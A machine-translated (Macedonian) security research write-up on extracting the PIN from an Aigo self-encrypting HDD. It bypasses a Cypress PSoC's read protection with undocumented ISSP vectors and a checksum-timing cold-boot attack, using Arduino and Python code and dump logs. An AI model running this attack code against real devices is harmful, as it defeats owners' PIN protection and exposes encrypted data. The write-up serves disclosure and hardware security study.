Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC

Ова е вториот и последен дел од статијата за хакирање на надворешни самошифрирачки дискови. Да ве потсетам дека еден колега неодамна ми донесе хард диск Patriot (Aigo) SK8671, и решив да го превртам и сега го споделувам она што произлезе од него. Пред да прочитате понатаму, задолжително прочитајте првиот дел статии.

4. Почнуваме да земаме депонија од внатрешниот флеш драјв PSoC
5. ISSP протокол
– 5.1. Што е ISSP
– 5.2. Демистифицирачки вектори
– 5.3. Комуникација со PSoC
– 5.4. Идентификација на регистри на чип
– 5.5. Битови за безбедност
6. Прв (неуспешен) напад: ROMX
7. Втор напад: следење на ладно чизми
– 7.1. Имплементација
– 7.2. Читање на резултатот
– 7.3. Флеш бинарна реконструкција
– 7.4. Наоѓање на адресата за складирање на PIN-кодот
– 7.5. Земање депонија од блок бр.126
– 7.6. Враќање на ПИН-кодот
8. Што е следно?
9. Заклучок

Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC


4. Почнуваме да земаме депонија од внатрешниот флеш драјв PSoC

Значи, сè покажува (како што утврдивме во [првиот дел]()) дека PIN-кодот е зачуван во длабочините на блицот на PSoC. Затоа, треба да ги прочитаме овие длабочини на блиц. Преден дел од потребната работа:

  • преземете ја контролата на „комуникацијата“ со микроконтролерот;
  • најдете начин да проверите дали оваа „комуникација“ е заштитена од читање однадвор;
  • најдете начин да ја заобиколите заштитата.

Постојат две места каде што има смисла да барате валиден ПИН-код:

  • внатрешна флеш меморија;
  • SRAM, каде што може да се складира пинскиот код за да се спореди со пин-кодот што го внесува корисникот.

Гледајќи напред, ќе забележам дека сепак успеав да го отфрлам внатрешниот PSoC флеш-уред - заобиколувајќи го неговиот безбедносен систем користејќи хардверски напад наречен „следење на ладно подигање“ - откако ги сменив недокументираните можности на протоколот ISSP. Ова ми овозможи директно да го исфрлам вистинскиот ПИН-код.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Конечниот програмски код:

5. ISSP протокол

5.1. Што е ISSP

„Комуникација“ со микроконтролер може да значи различни работи: од „продавач до продавач“ до интеракција со помош на сериски протокол (на пример, ICSP за PIC на Microchip).

Cypress има свој сопствен протокол за ова, наречен ISSP (протокол за сериски програмирање во системот), кој е делумно опишан во техничка спецификација. Патентот US7185162 дава и некои информации. Исто така, постои еквивалент на OpenSource наречен HSSP (ќе го користиме малку подоцна). ISSP работи на следниов начин:

  • рестартирајте PSoC;
  • изнесете го магичниот број на пинот за сериски податоци на овој PSoC; да влезе во режим на надворешно програмирање;
  • испрати команди, кои се долги битови низи наречени „вектори“.

Документацијата ISSP ги дефинира овие вектори само за мал број наредби:

  • Иницијализирај-1
  • Иницијализирај-2
  • Initialize-3 (3V и 5V опции)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010ddddddd111, каде што dddddddd=блок #
  • ГОЛЕМО БРИШЕЊЕ
  • ПРОГРАМА-БЛОК
  • ПОВЕРИ - ПОСТАВУВАЊЕ
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, каде што DDDDDDDDD = излез на податоци, aaaaaa = адреса (6 бита)
  • WRITE-BYTE: 10010aaaaaaddddddd111, каде што dddddddd = податоци во, aaaaaa = адреса (6 бита)
  • БЕЗБЕДНО
  • ПРОВЕРКА-ПОСТАВУВАЊЕ
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, каде што DDDDDDDDDDDDDDDDDD = податоци излезени: проверка на уредот
  • ИЗБРИШИ БЛОК

На пример, векторот за Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Сите вектори имаат иста должина: 22 бита. Документацијата HSSP има некои дополнителни информации за ISSP: „Векторот ISSP не е ништо повеќе од бит секвенца што претставува збир на инструкции“.

5.2. Демистифицирачки вектори

Ајде да разбереме што се случува овде. Првично, претпоставував дека истите овие вектори се необработени верзии на инструкциите на M8C, но откако ја проверив оваа хипотеза, открив дека оптичките кодови на операциите не се совпаѓаат.

Потоа го прогуглав векторот погоре и наидов ова студија каде што авторот, иако не навлегува во детали, дава неколку корисни совети: „Секоја инструкција започнува со три бита кои одговараат на еден од четирите мнемоници (читај од RAM, пишува во RAM, читај регистар, пишува регистар). Потоа има 8 адресни бита, проследени со 8 битови за податоци (читање или пишување) и на крајот три битови за застанување.

Потоа успеав да соберам некои многу корисни информации од делот Supervisory ROM (SROM). технички прирачник. SROM е хард-кодиран ROM во PSoC кој обезбедува корисни функции (на сличен начин како Syscall) за програмскиот код што работи во корисничкиот простор:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: ИзбришиБлок
  • 06ч: Читање на табела
  • 07h: CheckSum
  • 08h: Калибрирање0
  • 09h: Калибрирање1

Со споредување на имињата на векторите со функциите на SROM, можеме да ги мапираме различните операции поддржани од овој протокол со очекуваните SROM параметри. Благодарение на ова, можеме да ги декодираме првите три бита од ISSP вектори:

  • 100 => „Врем“
  • 101 => „rdmem“
  • 110 => „wrreg“
  • 111 => „rdreg“

Сепак, целосно разбирање на процесите на чип може да се добие само преку директна комуникација со PSoC.

5.3. Комуникација со PSoC

Бидејќи Дирк Петрауцки веќе има пренесен HSSP кодот на Cypress на Arduino, користев Arduino Uno за да се поврзам со ISSP конекторот на тастатурата.

Ве молиме имајте предвид дека во текот на моето истражување, доста го променив кодот на Дирк. Мојата модификација може да ја најдете на GitHub: тука и соодветната Python скрипта за комуникација со Arduino, во моето складиште cypress_psoc_tools.

Така, користејќи Arduino, прво ги користев само „официјалните“ вектори за „комуникација“. Се обидов да го прочитам внатрешниот ROM користејќи ја командата VERIFY. Како што се очекуваше, не можев да го направам ова. Веројатно поради фактот што битови за заштита за читање се активираат во внатрешноста на флеш-уредот.

Потоа создадов неколку мои едноставни вектори за пишување и читање меморија/регистри. Ве молиме имајте предвид дека можеме да го прочитаме целиот SROM иако флеш-уредот е заштитен!

5.4. Идентификација на регистри на чип

Откако ги погледнав „расклопените“ вектори, открив дека уредот користи недокументирани регистри (0xF8-0xFA) за да ги специфицира M8C оптичките кодови кои се извршуваат директно, заобиколувајќи ја заштитата. Ова ми овозможи да стартувам различни оптички кодови како што се „ADD“, „MOV A, X“, „PUSH“ или „JMP“. Благодарение на нив (прегледувајќи ги нуспојавите што ги имаат на регистрите) успеав да утврдам кои од недокументираните регистри се всушност редовни регистри (A, X, SP и PC).

Како резултат на тоа, кодот „расклопен“ генериран од алатката HSSP_disas.rb изгледа вака (додадов коментари за јасност):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Битови за безбедност

Во оваа фаза веќе можам да комуницирам со PSoC, но сè уште немам сигурни информации за безбедносните делови на флеш-уредот. Бев многу изненаден од фактот што Cypress не му обезбедува на корисникот на уредот никакви средства да провери дали заштитата е активирана. Копав подлабоко во Google за конечно да разберам дека HSSP кодот обезбеден од Cypress беше ажуриран откако Дирк ја објави својата модификација. И така! Се појави овој нов вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Користејќи го овој вектор (види read_security_data во psoc.py), ги добиваме сите безбедносни битови во SRAM на 0x80, каде што има два бита по заштитен блок.

Резултатот е депресивен: сè е заштитено во режимот „оневозможи надворешно читање и пишување“. Затоа, не само што не можеме да читаме ништо од флеш-уредот, туку и не можеме да напишеме ништо (на пример, да инсталираме дампер за ROM таму). И единствениот начин да се оневозможи заштитата е целосно да се избрише целиот чип. 🙁

6. Прв (неуспешен) напад: ROMX

Сепак, можеме да го испробаме следниот трик: бидејќи имаме можност да извршиме произволни оптички кодови, зошто да не извршиме ROMX, кој се користи за читање флеш меморија? Овој пристап има добри шанси за успех. Бидејќи функцијата ReadBlock која чита податоци од SROM (која се користи од вектори) проверува дали е повикана од ISSP. Сепак, ROMX оптичкиот код може да нема таква проверка. Значи, еве го кодот на Python (по додавање на неколку помошни класи на кодот Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

За жал, овој код не работи. 🙁 Или поточно функционира, но на излезот добиваме сопствени оптички кодови (0x28 0x30 0x40)! Не мислам дека соодветната функционалност на уредот е елемент на заштита од читање. Ова е повеќе како инженерски трик: при извршување на надворешни оптички кодови, ROM магистралата се пренасочува во привремен бафер.

7. Втор напад: следење на ладно чизми

Бидејќи трикот ROMX не функционираше, почнав да размислувам за друга варијација на овој трик - опишана во публикацијата „Премногу светлина врз заштитата на фирмверот на микроконтролерот“.

7.1. Имплементација

Документацијата ISSP го обезбедува следниов вектор за CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ова во суштина ја нарекува функцијата SROM 0x07, како што е претставено во документацијата (мој со закосени букви):

Оваа функција верификација на контролната сума. Пресметува 16-битна проверка на бројот на блокови одредени од корисникот во една флеш банка, почнувајќи од нула. Параметарот BLOCKID се користи за да се помине бројот на блокови што ќе се користат при пресметување на контролната сума. Вредноста „1“ само ќе ја пресмета контролната сума за блок нула; при што „0“ ќе предизвика да се пресмета вкупната контролна сума на сите 256 блокови на флеш банката. 16-битната контролна сума се враќа преку KEY1 и KEY2. Параметарот KEY1 ги складира 8-те бита од контролната сума од низок ред, а параметарот KEY2 ги складира 8-те бита од висок ред. За уреди со неколку флеш банки, функцијата за проверка на сумата се повикува за секоја посебно. Бројот на банката со кој ќе работи го поставува регистарот FLS_PR1 (со поставување на битот во него што одговара на целната флеш банка).

Забележете дека ова е едноставна контролна сума: бајтите едноставно се додаваат еден по друг; нема фенси CRC чудотворност. Дополнително, знаејќи дека јадрото M8C има многу мал сет на регистри, претпоставив дека при пресметувањето на контролната сума, средните вредности ќе бидат запишани во истите променливи што на крајот ќе одат на излезот: KEY1 (0xF8) / KEY2 ( 0xF9).

Така, во теорија, мојот напад изгледа вака:

  1. Се поврзуваме преку ISSP.
  2. Ја започнуваме пресметката на контролната сума користејќи го векторот CHECKSUM-SETUP.
  3. Го рестартираме процесорот по одредено време Т.
  4. Ја читаме RAM меморијата за да ја добиеме тековната контролна сума C.
  5. Повторете ги чекорите 3 и 4, зголемувајќи го T малку секој пат.
  6. Ги обновуваме податоците од флеш-уредот со одземање на претходната контролна сума C од тековната.

Сепак, има проблем: векторот Initialize-1 што мораме да го испратиме по рестартирањето, ги препишува KEY1 и KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Овој код ја препишува нашата скапоцена контролна сума со повикување на Calibrate1 (SROM функција 9)... Можеби можеме само да го испратиме магичниот број (од почетокот на горната шифра) за да влеземе во режим на програмирање, а потоа да го прочитаме SRAM? И да, функционира! Кодот на Arduino што го спроведува овој напад е прилично едноставен:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Прочитајте checkum_delay.
  2. Изврши пресметка на контролната сума (send_checksum_v).
  3. Почекајте одреден временски период; земајќи ги предвид следните стапици:
    • Изгубив многу време додека не дознав што излегува одложувањеМикросекунди работи правилно само со доцнења кои не надминуваат 16383 μs;
    • и потоа повторно го убив истото време додека не открив дека доцнењетоМикросекунди, ако му се пренесе 0 како влез, работи целосно погрешно!
  4. Рестартирајте го PSoC во режим на програмирање (само го испраќаме магичниот број, без да испраќаме вектори за иницијализација).

Конечниот код во Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Накратко, што прави овој код:

  1. Го рестартира PSoC-от (и му испраќа магичен број).
  2. Испраќа целосни вектори за иницијализација.
  3. Ја повикува функцијата Arduino Cmnd_STK_START_CSUM (0x85), каде што доцнењето во микросекунди се пренесува како параметар.
  4. Ја чита контролната сума (0xF8 и 0xF9) и недокументираниот регистар 0xF1.

Овој код се извршува 10 пати во 1 микросекунда. 0xF1 е вклучен овде бидејќи тоа беше единствениот регистар што се менуваше при пресметување на контролната сума. Можеби тоа е некој вид привремена променлива што ја користи аритметичката логичка единица. Забележете го грдото пробивање што го користам за да го ресетирам Arduino користејќи picocom кога Arduino ќе престане да покажува знаци на живот (нема поим зошто).

7.2. Читање на резултатот

Резултатот од скриптата Python изгледа вака (поедноставен за читливост):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Како што е кажано, имаме проблем: бидејќи работиме со вистинска контролна сума, нула бајт не ја менува прочитаната вредност. Меѓутоа, бидејќи целата процедура за пресметка (8192 бајти) трае 0,1478 секунди (со мали варијации секој пат кога се извршува), што е еднакво на приближно 18,04 μs по бајт, можеме да го искористиме ова време за да ја провериме вредноста на контролната сума во соодветни моменти. За првите вртења, сè се чита прилично лесно, бидејќи времетраењето на пресметковната процедура е секогаш речиси исто. Сепак, крајот на оваа депонија е помалку точен бидејќи „малите отстапувања на времето“ на секое возење се собираат и стануваат значајни:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Тоа се 10 депонии за секое доцнење во микросекунда. Вкупното време на работа за фрлање на сите 8192 бајти на флеш-уредот е околу 48 часа.

7.3. Флеш бинарна реконструкција

Сè уште не сум го завршил пишувањето на кодот што целосно ќе го реконструира програмскиот код на флеш-уредот, земајќи ги предвид сите временски отстапувања. Сепак, јас веќе го вратив почетокот на овој код. За да се уверам дека го направив тоа правилно, го расклопив користејќи m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Изгледа сосема веродостојно!

7.4. Наоѓање на адресата за складирање на PIN-кодот

Сега кога можеме да ја читаме контролната сума во моментите што ни се потребни, можеме лесно да провериме како и каде се менува кога:

  • внесете погрешен ПИН-код;
  • сменете го пинскиот код.

Прво, за да ја најдам приближната адреса за складирање, зедов депонии за проверка на сумата во чекори од 10 ms по рестартирањето. Потоа внесов погрешен ПИН и го направив истото.

Резултатот не беше многу пријатен, бидејќи имаше многу промени. Но, на крајот успеав да утврдам дека контролната сума се промени некаде помеѓу 120000 µs и 140000 µs доцнење. Но, „пинкодот“ што го прикажав таму беше целосно неточен - поради артефакт на процедурата одложувањеМикросекунди, која прави чудни работи кога му се пренесува 0.

Потоа, откако поминав скоро 3 часа, се сетив дека повикот на системот SROM CheckSum добива аргумент како влез што го одредува бројот на блокови за контролната сума! Тоа. лесно можеме да ја локализираме адресата за складирање на PIN-кодот и бројачот за „неточни обиди“, со точност до блок од 64 бајти.

Моите првични трки го дадоа следниот резултат:

Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC

Потоа го сменив PIN-кодот од „123456“ во „1234567“ и добив:

Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC

Така, PIN-кодот и бројачот на неточни обиди се чини дека се зачувани во блок бр. 126.

7.5. Земање депонија од блок бр.126

Блокот #126 треба да се наоѓа некаде околу 125x64x18 = 144000μs, од почетокот на пресметката на контролната сума, во мојата целосна депонија, и изгледа сосема веродостојно. Потоа, по рачно просејување на бројни неважечки депонии (поради акумулацијата на „мали отстапувања во тајмингот“), на крајот ги добив овие бајти (на латентност од 145527 μs):

Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC

Сосема е очигледно дека PIN-кодот е зачуван во нешифрирана форма! Овие вредности, се разбира, не се напишани во ASCII кодови, но како што се испостави, тие ги одразуваат читањата земени од капацитивната тастатура.

Конечно, извршив уште неколку тестови за да најдам каде е зачуван бројачот за лоши обиди. Еве го резултатот:

Превртување наназад и хакирање на Aigo само-шифрирачки надворешен HDD-диск. Дел 2: Земање депонија од Cypress PSoC

0xFF - значи „15 обиди“ и се намалува со секој неуспешен обид.

7.6. Враќање на ПИН-кодот

Еве го мојот грд код што го спојува горенаведеното:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Еве го резултатот од неговото извршување:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Работи!

Ве молиме имајте предвид дека вредностите на латентност што ги користев веројатно се релевантни за еден специфичен PSoC - оној што го користев.

8. Што е следно?

Значи, да резимираме на страната на PSoC, во контекст на нашето возење Aigo:

  • можеме да читаме SRAM дури и ако е заштитено прочитано;
  • Можеме да ја заобиколиме заштитата против лизгање со користење на напад со трага на ладно подигање и директно читање на PIN-кодот.

Сепак, нашиот напад има некои недостатоци поради проблеми со синхронизацијата. Може да се подобри на следниов начин:

  • напишете алатка за правилно декодирање на излезните податоци што се добиени како резултат на напад на „трага за ладно подигање“;
  • користете гаџет FPGA за да креирате попрецизни временски доцнења (или користете хардверски тајмери ​​Arduino);
  • обидете се со друг напад: внесете намерно неточен PIN-код, рестартирајте и исфрлете ја RAM-от, надевајќи се дека точниот PIN-код ќе биде зачуван во RAM-от за споредба. Сепак, тоа не е толку лесно да се направи на Arduino, бидејќи нивото на сигналот Arduino е 5 волти, додека плочата што ја испитуваме работи со сигнали од 3,3 волти.

Една интересна работа што може да се обиде е да се игра со нивото на напон за да се заобиколи заштитата за читање. Ако овој пристап функционираше, ќе можеме да добиеме апсолутно точни податоци од флеш-уредот - наместо да се потпираме на читање контролна сума со непрецизни временски одложувања.

Бидејќи SROM веројатно ги чита заштитните битови преку системскиот повик ReadBlock, би можеле да го направиме истото како опишано на блогот на Дмитриј Недоспасов - повторно спроведување на нападот на Крис Герлински, објавено на конференцијата „REcon Брисел 2017“.

Друга забавна работа што може да се направи е да се отстранат куќиштето од чипот: да се земе SRAM ѓубре, да се идентификуваат недокументирани системски повици и пропусти.

9. Заклучок

Значи, заштитата на овој диск остава многу да се посакува, бидејќи користи обичен (не „зацврстен“) микроконтролер за складирање на PIN-кодот... Плус, не сум погледнал (сè уште) како се одвиваат работите со податоците шифрирање на овој уред!

Што можете да препорачате за Aigo? Откако анализирав неколку модели на шифрирани HDD-дискови, во 2015 година направив презентација на SyScan, во кој ги испита безбедносните проблеми на неколку надворешни HDD дискови и даде препораки за тоа што може да се подобри во нив. 🙂

Поминав два викенди и неколку вечери правејќи го ова истражување. Вкупно околу 40 часа. Броење од самиот почеток (кога го отворив дискот) до крај (депонија на PIN кодот). Истите 40 часа го вклучуваат времето што го поминав за пишување на оваа статија. Тоа беше многу возбудливо патување.

Извор: www.habr.com

Додадете коментар